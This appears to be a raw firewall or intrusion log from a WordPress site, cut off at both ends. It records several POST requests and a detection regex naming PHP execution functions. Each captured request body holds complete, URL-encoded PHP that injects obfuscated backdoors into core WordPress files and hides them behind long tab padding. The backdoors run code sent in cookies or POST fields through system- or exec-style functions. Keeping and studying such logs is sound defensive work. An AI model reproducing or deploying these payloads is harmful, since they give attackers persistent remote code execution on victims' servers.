ach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4389\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:49:27","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> we:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:7177\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nwe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:50:56","101.100.3.213","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Android\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvraRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:7177\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nzq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%2527